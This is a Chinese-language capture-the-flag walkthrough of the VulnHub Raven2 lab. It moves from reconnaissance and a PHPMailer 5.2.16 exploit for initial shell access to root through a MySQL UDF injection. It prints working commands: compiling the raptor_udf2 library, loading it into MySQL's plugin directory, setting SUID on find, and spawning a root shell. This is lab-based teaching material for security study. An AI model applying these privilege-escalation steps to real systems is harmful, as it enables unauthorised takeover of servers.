vulnhub-Raven2打靶

信息收集

对靶机进行端口扫描

扫一下目录,扫到一个目录遍历

拿到第一个flag

找到版本信息 phpmailer5.2.16

Exploit

web打点

根据版本信息找一下利用文件

-m id 下载到本地

修改脚本

再起一个终端监听

使用python运行脚本,访问后门

用py返回一个半交互式shell,找到第二个flag

提权

linux提权三板斧,suid,sudo无密码,内核皆无果

尝试其他方式,看看网站配置文件wp-config.php,找到mysql密码

有mysql的root账号我们可以使用udf提权,但是需要secure_file_priv的值不为null或者不做限制

没有导入导出限制,查看mysql版本和主机版本、架构

下载利用文件来提权

编译下载好的利用文件

1
2
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o 1.so 1518.o -lc

再在kali用python起一个web服务,靶机下载利用到本地提权

进入mysql,构造自定义函数,给find一个s权限也就是suid

1
2
3
4
5
6
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/111.so')); //上传到哪就写哪
select * from foo into dumpfile '/usr/lib/mysql/plugin/111.so'; //这个和上一行不是一个路径嗷,要根据前面进程列出来的plugin目录进行改动(一般就是这个)
create function do_system returns integer soname '111.so'; //创建 do_system 函数调用
select do_system('chmod u+s /usr/bin/find'); //给find命令赋予suid权限

退出mysql,利用find返回一个shell

1
find . -exec /bin/sh \;